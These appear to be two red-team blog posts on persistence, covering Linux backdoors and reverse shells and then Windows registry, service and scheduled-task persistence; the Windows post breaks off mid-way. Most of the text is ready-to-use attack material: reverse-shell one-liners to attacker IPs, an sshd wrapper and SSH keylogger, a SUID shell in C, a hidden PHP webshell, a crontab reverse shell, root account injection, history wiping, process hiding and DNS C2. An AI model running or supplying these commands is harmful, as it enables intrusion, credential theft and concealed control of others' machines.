Excalibra — Mon, 22 Jun 2026 08:36:46 +0000

0X00 On Persistence Maintenance

What is Persistence Maintenance?

We can straightforwardly understand persistence maintenance as the installation of a backdoor on the target. The purpose of persistence maintenance is to ensure that one's privileges are not lost and to maintain continuous control over the target.

0X01 Obtaining Initial Access

Linux offers numerous methods for establishing a reverse shell. The primary advantage of a reverse shell is that it often provides a more convenient operational environment; for me personally, the key benefit is command completion. In any case, from a persistence perspective, it facilitates the execution of subsequent actions.

The ability to obtain a reverse shell depends on the target's environment. It is possible that Bash cannot directly establish a reverse shell, whereas Python might succeed. One must also remain mindful of application whitelisting.

For the experimental environment, Kali Linux will be used; ensure that a snapshot is taken.

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -i 5<>/dev/tcp/host/port 0>&5 1>&5

Perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux

echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat without -e #1

The mkfifo function merely creates a FIFO file; a named pipe must be used to open it.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444

Java

r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();

Xterm

xterm -display 10.0.0.1:1

Exec

0<&196;exec 196<>/dev/tcp/<your_vps>/1024; sh <&196 >&196 2>&196

Consider: If during penetration testing one discovers that the target environment cannot establish a reverse shell, and only ports 80 and 443 are open, while traffic is intercepted when attempting a reverse shell via whitelisted ports, how should one respond?

One may attempt to encrypt the data packets to evade traffic monitoring devices.

Step 1:

Generate an SSL certificate public/private key pair on the VPS:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Step 2:

Listen for the reverse shell on the VPS:

openssl s_server -quiet -key key.pem -cert cert.pem -port 443

Step 3:

Connect:

mkfifo /tmp/excalibra;/bin/bash -i < /tmp/excalibra 2>&1 | openssl s_client -quiet -connect 1.1.1.1:443 > /tmp/excalibra

Obtain shell:

However, one will notice that this shell is not particularly usable, lacking basic command completion.

Solution:

python -c 'import pty; pty.spawn("/bin/bash")'

pty is a pseudo-terminal module.

pty.spawn(argv[, master_read[, stdin_read]])
Spawn a process, and connect its controlling terminal with the current process's standard I/O. This is often used to baffle programs which insist on reading from the controlling terminal.

The functions master_read and stdin_read should be functions which read from a file descriptor. The defaults try to read 1024 bytes each time they are called.

Changed in version 3.4: spawn() now returns the status value from os.waitpid() on the child process.

Sometimes after privilege escalation, the terminal may exhibit similar issues; this method generally resolves them. Alternatively, refer to the link below.

Socat

socat file:`tty`,raw,echo=0 tcp-listen:9999

Upload socat to the target machine, then execute:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:9999

This also yields an interactive shell.

0X02 Persistence Techniques

SSH Backdoor

SSH Soft Link

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

Create a soft link and then access the SSH service via port 5555.

Add a user:

useradd excalibra -p excalibra

When connecting via SSH, any password can be entered; during Kali testing, even the root user worked.

For the specific principle, see An Investigation of PAM Triggered by a Linux Backdoor.

SSH Wrapper

Exploit:

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

Then connect:

socat STDIO TCP4:target_ip:22,sourceport=13377

Principle:

init first starts /usr/sbin/sshd; when the script reaches getpeername, the regular expression fails to match, so it proceeds to the next line, launching /usr/bin/sshd — the original sshd. The original sshd listens on the port, and after establishing a TCP connection, it forks a child process to handle specific tasks. This child process, without any further checks, directly executes the system's default /usr/sbin/sshd, returning control to the script. At this point, the child process's standard input and output have been redirected to the socket, so getpeername can genuinely obtain the client's TCP source port. If the port matches 19526, it executes sh to provide a shell.

From https://www.anquanke.com/post/id/155943#h2-9

SSH Key Injection

First, generate an SSH key locally:

ssh-keygen -t rsa

Then transmit the public key id_rsa.pub to the target.

At the same time, assign appropriate permissions, but they must not be overly permissive:

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

SSH Keylogger

Append to the end of the current user's configuration file:

alias ssh='strace -o /tmp/sshpwd-`date    '+%d%h%m%s'`.log -e read,write,connect  -s2048 ssh'

OpenSSH Rootkit

This requires environmental dependencies to be installed, making it less practical. For reference, see Leveraging OpenSSH Backdoor to Hijack root Password.

SSH Stealth Login

Stealth login allows logging into the system without being detected by commands such as last, who, or w.

ssh -T username@host /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -if

Linux Hiding Techniques

Simple File Hiding

touch .excalibra.py

One may conceal malicious files within various directories.

Hidden Permissions

The chattr command can be used to apply a 'lock' to a file to prevent its deletion; we can exploit this.

Concealing Command History

After obtaining a shell, enable 'incognito mode' by disabling the command history recording function.

set +o history

Restore with:

set -o history

history

Once restored, command history is recorded normally.

Deleting Specific Command History

Delete designated historical records:

sed -i "100,$d" .bash_history

This removes command lines from line 100 onwards.

Port Reuse

Sharing SSH and HTTPS on the Same Port via SSLH

A tool for sharing SSH and HTTPS on the same port on Linux: SSLH

Install SSLH
apt install sslh
Configure SSLH
 Edit the SSLH configuration file:
 sudo vi /etc/default/sslh
 1. Locate the line: Run=no  and change it to: Run=yes
 2. Modify the following line to allow SSLH to listen on port 443 on all available interfaces
  DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
  service sslh start

The environment is Docker; port 444 corresponds to the target's port 443.

Test successful.

iptables

# Port reuse chain
iptables -t nat -N LETMEIN
# Port reuse rule
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# Activation trigger
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# Deactivation trigger
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

Exploit:

TIPS: When testing with Docker

docker run -ti --privileged ubuntu:latest

The --privileged parameter is essential.

# Activate reuse
echo threathuntercoming | socat - tcp:192.168.19.170:80
# SSH login using port 80
ssh -p 80 root@192.168.19.170:
# Deactivate reuse
echo threathunterleaving | socat - tcp:192.168.19.170:80

There also exist ICMP-based exploitation methods. The original article:

Remotely Controlling iptables for Port Reuse

Process Hiding

libprocesshider

A project on GitHub: https://github.com/gianlucaborello/libprocesshider

Utilise LD_PRELOAD to hijack system functions, as follows:

# Download and compile the programme
git clone https://github.com/gianlucaborello/libprocesshider.git
apt-get install  gcc automake autoconf libtool make
cd libprocesshider/ && make
# Move the file to the /usr/local/lib/ directory
cp libprocesshider.so /usr/local/lib/
# Load it into the global dynamic linker
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
# Alternatively: export LD_PRELOAD=/usr/local/lib/libprocesshider.so

The specific process name can be configured within the C file.

A tool to counteract this:

unhide proc

linux-inject

linux-inject is a tool for injecting shared objects into Linux processes.

Project address: https://github.com/gaffe23/linux-inject.git

# Download and compile the programme
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# Test process
./sample-target
# Process injection
./inject -n sample-target sample-library.so

First, compile one's own defined C file.

Install the dependency packages:

sudo apt-get purge libc6-dev
sudo apt-get install libc6-dev
sudo apt-get install libc6-dev-i386
sudo apt-get install clang

#include <stdio.h>
__attribute__((constructor))void hello() {    puts("Hello world!");}

Generate the .so file:

gcc -shared -fPIC -o libexcalibra.so hello.c

First, execute the test file.
Then inject the custom .so file.
Injection successful.

Vegile

Vegile is a tool for hiding one's own processes; even if the process is killed, it will restart. It leverages the technique where, before executing a certain executable file under Linux, the system pre-loads user-defined dynamic link libraries, which can rewrite system library functions, leading to hijacking.

First, generate an MSF backdoor:

msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=149.129.72.186  LPORT=8000  -f elf -o /var/www/html/Excalibra_Backdoor2

Set up the MSF listener
Execute
The first method involves process injection; the second ensures that the reverse shell reconnects even if the process is terminated.
Due to dependencies, the second method has a minor bug.
Then test should be successful.

Cymothoa

Cymothoa is a lightweight backdoor that also employs process injection.

Download address: https://sourceforge.net/projects/cymothoa/files/latest/download

Compiled binary: https://github.com/BlackArch/cymothoa-bin

Usage:

./cymothoa -S

View available shellcodes. Only the reverse shell functionality is required; 0 will suffice.

Locate the PID of bash, as the bash process is typically always present.

./cymothoa -p pid -s 1 -y port

It is not very controllable; during my Kali testing, it caused the process to die. It is not recommended for use in live environments.

If successful, nc can directly connect to the custom port, which depends on the environment.

Setuid and Setgid

setuid: When set on an executable file, it allows the file to execute with the permissions of the file's owner. A typical file is /usr/bin/passwd. If an ordinary user executes that file, during execution the file obtains root privileges, thereby enabling the user to change their password.
setgid: This permission is only effective for directories. When set on a directory, any file created within that directory will have the same group ownership as the directory itself.
sticky bit: This bit can be understood as a deletion-prevention bit. Whether a file can be deleted by a user mainly depends on whether the group to which the file belongs has write permission for that user. Without write permission, all files in that directory cannot be deleted, nor can new files be added. If one wishes to allow users to add files but not delete them, the sticky bit can be applied to the directory. Once set, even if a user has write permission on the directory, they cannot delete the file.

As is well known, Linux file permissions are expressed as 777, 666, etc. In fact, by adding the SUID permission to a file, one can run that file with the privileges of its owner. Therefore, one need only copy the bash binary to another location, assign SUID with root ownership, and whenever any user runs this shell, they can execute any file with root privileges.

Write a simple backdoor in backdoor.c:

#include <unistd.h>
void main(int argc, char *argv[])
{
    setuid(0);
    setgid(0);
    if(argc > 1)
        execl("/bin/sh", "sh", "-c", argv[1], NULL);
    else
        execl("/bin/sh", "sh", NULL);
}

Compile:

gcc backdoor.c -o backdoor

cp backdoor /bin/

chmod u+s /bin/backdoor

Execute backdoor as the user.

inetd Backdoor

inetd is a daemon that monitors network requests and invokes the corresponding service process to handle the connection request. It can manage connections for multiple services; when inetd receives a connection, it determines which programme is required, starts the corresponding process, and passes the socket to it (the service socket becomes the programme's standard input, output, and error descriptors).

Installation:

apt-get install openbsd-inetd

Utilise a system-provided service.

Configure the backdoor:

# vi /etc/inetd.conf    
fido  stream tcp nowait  root  /bin/bash bash -i # When an external request for the service named 'fido' arrives, a shell is spawned

inetd

Then connect via nc.

Reference: Brief Analysis and Exploitation of inetd Backdoor

Adding a Backdoor User

Generate password
perl -e 'print crypt("excalibra", "AA"). "\n"'
Directly append to passwd
echo "weblogic1:AAyx65VrBb.fI:0:0:root:/root:/bin/bash" >>/etc/passwd

This is easily detectable; it is more advisable to use an SSH key instead.

ICMP Backdoor

Project address: https://github.com/andreafabrizi/prism

Compilation:

For the Android platform:

apt-get install gcc-arm-linux-gnueabi
arm-linux-gnueabi-gcc -DSTATIC -DDETACH -DNORENAME -static -march=armv5 prism.c -o prism

For Linux 64-bit:

apt-get install libc6-dev-amd64
gcc -DDETACH -m64 -Wall -s -o prism prism.c

For Linux 32-bit:

apt-get install libc6-dev-i386
gcc -DDETACH -m32 -Wall -s -o prism prism.c

On the attack machine, await the backdoor connection:

nc -l -p 9999

Send the packet to trigger the backdoor.

DNS Backdoor

Project address: https://github.com/iagox86/dnscat2

Even in the most restrictive environments, the target will almost certainly permit DNS resolution of external or internal domains. This can serve as a C2 channel. Commands and data are intermingled within DNS query and response headers, making detection extremely difficult because commands are concealed within normal traffic.

We will utilise dnscat2 to implement this.

My macOS installation experienced issues; the environment proved troublesome, so I reverted to Kali. Ultimately, I used the host machine. The server requires a source change; it is recommended to directly specify https://gems.ruby-china.com/ within the Gemfile.

My configuration:

# Gemfile
# By Ron Bowes
#
# See LICENSE.md

source 'https://gems.ruby-china.com/'

gem 'trollop' # Commandline parsing
gem 'salsa20' # Encrypted connections
gem 'sha3'    # Message signing + key derivation
gem 'ecdsa'   # Used for ECDH key exchange

$ gem install bundler
$ bundle install

Start the server:

sudo ruby dnscat2.rb --dns "domain=attck.me,host=192.168.123.192" --no-cache

Then compile the client; simply run make:

./dnscat --dns server=192.168.123.192

On the host machine:

session -i 1

I will capture packets to observe how communication occurs.

All commands are transmitted via DNS traffic.

You may test the PowerShell version of dnscat2.

Start-Dnscat2 -Domain attck.me -DNSServer 192.168.123.192

It is now online.

Then open a new interactive shell.

Conclusion

Using dnscat2 offers several advantages:

Supports multiple sessions
Traffic encryption
Protection against MiTM attacks via keys
Ability to run PowerShell scripts directly from memory

VIM Backdoor

First, construct a malicious script excalibra.py:

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',666))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)

The prerequisite is that VIM has Python extensions installed; by default, when installed, Python extensions are included.

The script can be placed in Python's extension directory:

$(nohup vim -E -c "py3file excalibra.py"> /dev/null 2>&1 &) && sleep 2 && rm -f excalibra.py

One can observe the vim process in the background, but not the Python process.

Principle reference: https://github.com/jaredestroud/WOTD

PAM Backdoor

PAM (Pluggable Authentication Modules) is an authentication mechanism proposed by Sun. It provides a set of dynamic link libraries and a unified API, separating the service provided by the system from its authentication method. This enables system administrators to flexibly configure different authentication methods for different services without modifying the service programmes, and also facilitates the addition of new authentication mechanisms to the system.

Project address: https://github.com/litsand/shell

This is an automated script. It is more suited to CentOS; my test environment was Ubuntu, so I will not reproduce it for the time being.

Carriage Return Backdoor (`\r`)

echo -e "<?=\`\$_POST[excalibra]\`?>\r<?='Excalibra  ';?>" >/var/www/html/excalibra.php

After adding the -e \r parameter, viewing the source code directly only reveals the latter half.

strace Backdoor

strace is often used to trace the system calls and signals received during a process's execution. In the Linux world, processes cannot directly access hardware devices; when a process needs to access hardware (e.g., reading disk files, receiving network data), it must switch from user mode to kernel mode and access the hardware through system calls. strace can trace the system calls generated by a process, including parameters, return values, and execution time consumed.

ssh='strace   -o   /tmp/sshpwd-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 ssh'

This is similar to the alias backdoor.

When testing with Docker, include the --privileged parameter.

Similarly, one can record other commands:

su='strace   -o   /tmp/sulog-`date    '+%d%h%m%s'`.log  \
 -e read,write,connect  -s2048 su'

Tiny shell

Project address: https://github.com/orangetw/tsh

Compile under Linux:

./compile.sh linux 149.129.72.186 1234 excalibra 22

The parameters represent:

usage:
compile.sh os BC_HOST BC_PORT [PASSWORD] [BC_DELAY]
compile.sh os 8.8.8.8 8081
compile.sh os 8.8.8.8 8081 mypassword 60


Please specify one of these targets:

    compile.sh linux
    compile.sh freebsd
    compile.sh openbsd
    compile.sh netbsd
    compile.sh cygwin
    compile.sh sunos
    compile.sh irix
    compile.sh hpux
    compile.sh osf

Upon success, the files tsh and tshd are generated, representing the client and server respectively.

Run on the target:

umask 077; HOME=/var/tmp ./tshd

On the attack machine:

tsh targetip

A shell will be obtained. Additionally, file upload and download are supported.

Reverse connection form.

Browser Plugin Backdoor

Project address: https://github.com/graniet/chromebackdoor

I spent considerable time testing this project, but have not yet succeeded; it is unclear whether the browser imposes restrictions.

Local Job Scheduling

Crontab

Test environment: macOS

Scheduled reverse shell:

(crontab -l;printf "*/1 * * * * /usr/bin/nc 30.157.170.75 1389 /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -

Other Backdoor

Project address: https://github.com/iamckn/backdoors

Some process hiding techniques, followed by a reverse shell.

Demonstration using uname:

uname.sh

#uname
#-------------------------
touch /usr/local/bin/uname

cat <<EOF >> /usr/local/bin/uname
#!/bin/bash
#nc.traditional -l -v -p 4444 -e /bin/bash 2>/dev/null &
#socat TCP4-Listen:3177,fork EXEC:/bin/bash 2>/dev/null &
socat SCTP-Listen:1177,fork EXEC:/bin/bash 2>/dev/null &
#perl -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}' 2>/dev/null &
/bin/uname \$@
EOF

Replace the reverse shell command as needed.

0x03 Rootkit

What is a Rootkit?

In suspenseful spy films, one faction typically dispatches an agent to infiltrate the opposing camp. The agent's excellent disguise allows them to remain undetected for an extended period; to maintain long-term concealment, they avoid high-risk actions that might prematurely expose them. They earn the enemy's trust and attain a high-ranking position, enabling them to continuously acquire vital intelligence and transmit it through unique channels.

In a sense, this uninvited guest is akin to a Rootkit—a programme that resides persistently and undetectably on a target computer, manipulates the system, and collects data through covert channels. The three essential elements of a Rootkit are: concealment, manipulation, and data collection.

The term "root" originates from the Unix realm. As the Unix system administrator account is called root—which possesses the fewest security restrictions—fully controlling a host and gaining administrator privileges is referred to as having "rooted" the computer. However, "rooting" a host does not guarantee sustained control, because an administrator may detect the intrusion and take remedial action. Hence, the initial meaning of Rootkit is "a set of tools that can maintain root privileges."

Simply put, a Rootkit is a special type of malicious software whose function is to hide itself and designated files, processes, and network connections on the installed target. Rootkits are commonly combined with other malicious programmes such as Trojans and backdoors. By loading special drivers and modifying the system kernel, Rootkits achieve the purpose of concealment.

A typical rootkit includes:

1 An Ethernet sniffer programme, used to capture usernames and passwords transmitted over the network.
2 Trojan horse programmes, such as inetd or login, to provide a backdoor for the attacker.
3 Programmes to hide the attacker's directories and processes, such as ps, netstat, rshd, and ls.
4 It may also include log cleaning tools, such as zap, zap2, or z2, which the attacker uses to delete entries regarding their activities from log files like wtmp, utmp, and lastlog.
Some complex rootkits can also offer services like telnet, shell, and finger to the attacker.

Application-Level Rootkit

Application-level rootkits primarily achieve concealment by bulk replacement of system commands—for instance, replacing ls, ps, and netstat to hide files, processes, and network connections. Sometimes a daemon process is present to ensure the stability of the backdoor. Two commonly used Trojans are mafix and brookit. Application-level rootkits are relatively easy to remove; the most troublesome are kernel-level and hardware-level rootkits.

Kernel-Level Rootkit

These load backdoors via kernel modules, which is comparatively complex. Kernel backdoors are generally operating-system specific, as kernel module programming varies between different operating systems and is not typically universal. Kernel backdoors usually cannot be detected through checks like MD5 verification, making them fundamentally difficult to discover. Currently, kernel backdoors are more prevalent on Linux and Solaris.

Hardware-Level Backdoor

This refers to backdoors embedded in the manufacturer's hardware, such as CPUs, motherboards, mice, etc.

Demonstration: the example I located should be a kernel rootkit; for other classic kernel rootkits, one may examine these:

https://github.com/David-Reguera-Garcia-Dreg/enyelkm

https://github.com/yaoyumeng/adore-ng

Reptile

Test environment: Kali

Project address: https://github.com/f0rb1dd3n/Reptile

Windows Persistence Techniques

Excalibra — Wed, 10 Jun 2026 08:44:21 +0000

0x00 Preface and Scenario

In red team operations, it is currently common practice to use Cobalt Strike (CS) for unified management of acquired shells or phished targets. However, practical experience reveals that CS does not natively integrate a one‑click persistence function. Many third‑party plugins developed by the community are either incomplete or cumbersome to use, and some even contain bugs that give a false impression of success, ultimately resulting in the loss of the shell.

Consequently, this article collates persistence methods within the Windows environment based on the aforementioned scenario. Subsequently, a selection of the more frequently employed and convenient operations will be integrated into a CS plugin to ensure that access is rapidly maintained immediately after a shell is obtained.

0x01 Startup Directory

Required Privileges: With or without elevation.

This is the most common and simplest method of persistence. Programmes or shortcuts placed in this directory execute automatically when a user logs in.

For NT6 and later, the directories are as follows:

Current user:
C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
All users:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

For pre‑NT6 systems:

Current user:
C:\Documents and Settings\Hunter\Start Menu\Programs\Startup
All users:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup

0x02 Registry Keys

Required Privileges: With or without elevation.

The extensive Windows registry and its relatively lax permission management provide numerous opportunities for manipulation. Among these, registry auto‑start entries are a frequently used persistence mechanism.

As the core database of Windows, the registry stores a wealth of critical system and user information. Windows provides two independent registry paths: HKEY_CURRENT_USER (HKCU), which pertains to the current user, and HKEY_LOCAL_MACHINE (HKLM), which corresponds to the physical machine and can be modified only by privileged accounts.

With the increasing awareness of security, most Windows machines compromised during red team engagements operate with reduced privileges. For example, elevating privileges on a phished PC is often unnecessary; even if an Administrator’s startup entry is written after elevation, the user will still log into their own account on the next session, rendering the persistence ineffective.

All relevant registry keys for Windows persistence are enumerated below:

1. Load Key
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load

2. Userinit Key
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
This key normally contains userinit.exe. It permits multiple programmes separated by commas, e.g. userinit.exe,evil.exe.

3. Explorer\Run Key
The Explorer\Run key exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

4. RunServicesOnce Key
This key starts service programmes before user logon and prior to other programmes launched via registry keys. It exists under both HKCU and HKLM.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

5. RunServices Key
Programmes specified here run immediately after those from RunServicesOnce, but both execute before user logon.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices

6. RunOnce\Setup Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce\Setup

7. RunOnce Key
Installation programmes typically use the RunOnce key to auto‑start. Its locations are:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
[Pre‑NT6] HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
The HKLM RunOnce key runs immediately after user logon, before other Run keys; the HKCU RunOnce key runs after the operating system has processed other Run keys and the Startup folder.

8. Run Key
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Run is the most commonly employed auto‑start key. The HKCU Run key executes after the HKLM Run key, but both are processed before the Startup folder.

Command to write a registry key:

reg add "XXXX" /v evil /t REG_SZ /d "[Absolute Path]\evil.exe"

0x03 Services

Required Privileges: Administrator privileges without UAC reduction.

Creating a service requires non‑reduced administrator rights; therefore, privilege escalation is a prerequisite for this persistence method. However, it offers higher stealth compared to registry keys (e.g. loading a DLL via svchost service groups can conceal the malicious process). Both CMD and PowerShell can add services with commands. Example:

sc create evil binpath= "cmd.exe /k [Absolute Path]evil.exe" start= "auto" obj= "LocalSystem"

This straightforward approach launches a service via cmd. A minor pitfall exists: a shellcode loader that blocks the main thread may cause the service to appear unresponsive during startup and fail. Hence, invoking cmd is mandatory; the service cannot be created directly. Upon successful start, the process runs with SYSTEM privileges before user logon. The obvious drawback is that the malicious process remains a distinct entity, reducing stealth, as illustrated below:

Another category of services is launched through svchost. Numerous Windows services are loaded by injecting into this host process (a Microsoft‑sanctioned DLL injection mechanism). Consequently, if the DLL itself evades detection, antivirus software will ignore this behaviour; moreover, as the malicious process is not standalone, stealth is enhanced.

However, loading a service via svchost cannot be accomplished with a single command. It requires crafting a service DLL and adding extra registry entries. Because 64‑bit systems have dual registry views and two svchost instances, the commands differ slightly.

Commands for 32‑bit systems:

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync

Commands for registering a 32‑bit service on 64‑bit systems:

sc create TimeSync binPath= "C:\Windows\Syswow64\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:32
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:32
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:32
sc start TimeSync

Commands for native 64‑bit services:

sc create TimeSync binPath= "C:\Windows\System32\svchost.exe -k netsvr" start= auto obj= LocalSystem
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync\Parameters /v ServiceDll /t REG_EXPAND_SZ /d "C:\Users\hunter\Desktop\localService32.dll" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v Description /t REG_SZ /d "Windows Time Synchronization Service" /f /reg:64
reg add HKLM\SYSTEM\CurrentControlSet\services\TimeSync /v DisplayName /t REG_SZ /d "TimeSyncSrv" /f /reg:64
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v netsvr /t REG_MULTI_SZ /d TimeSync /f /reg:64
sc start TimeSync

A significant caveat: the reg add command overwrites existing registry values. Most keys under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost are of type REG_MULTI_SZ (multi‑string). Therefore, one must never write to an existing key, as it holds services essential for system boot; overwriting would cause severe issues. (Hence, the commands above use "netsvr", a key that does not exist by default.)

0x04 Scheduled Tasks

Required Privileges: Administrator privileges without UAC reduction, or standard user.

Scheduled tasks constitute another excellent persistence vector. Unlike auto‑start registry keys and services, scheduled tasks offer greater diversity and flexibility in configuration, and their location is relatively concealed (manual inspection requires several additional clicks). For instance, during security service engagements, the notorious "DriverLife" cryptominer employed persistence by creating multiple PowerShell scripts within scheduled tasks, with its stager directly embedded as a base64‑encoded argument in the command line. The input field is quite narrow, and less experienced engineers might easily overlook the trailing content.

Windows provides the SCHTASKS command for managing scheduled tasks, with the following options:

SCHTASKS /parameter [arguments]

Description:
    Enables an administrator to create, delete, query, change, run, and end scheduled tasks on a local or remote system.

Parameter List:
    /Create         Creates a new scheduled task.
    /Delete         Deletes the scheduled task(s).
    /Query          Displays all scheduled tasks.
    /Change         Changes the properties of a scheduled task.
    /Run            Runs the scheduled task on demand.
    /End            Stops the currently running scheduled task.
    /ShowSid        Shows the security identifier corresponding to a scheduled task name.
    /?              Displays this help message.

For persistence, the Create parameter is most frequently used. Due to its numerous arguments, the full help text is reproduced below for reference:

SCHTASKS /Create [/S system [/U username [/P [password]]]]
    [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day]
    [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
    [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]]
    [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F]

Description:
     Allows an administrator to create a scheduled task on a local or remote system.

Parameter List:
    /S   system        Specifies the remote system to connect to. If omitted, the local system is used.
    /U   username      Specifies the user context under which SchTasks.exe should execute.
    /P   [password]    Specifies the password for the given user context. Prompts for input if omitted.
    /RU  username      Specifies the "run as" user account (user context) under which the task runs. For the system account, valid values are "", "NT AUTHORITY\SYSTEM", or "SYSTEM". For v2 tasks, "NT AUTHORITY\LOCALSERVICE", "NT AUTHORITY\NETWORKSERVICE", and common SIDs are also available.
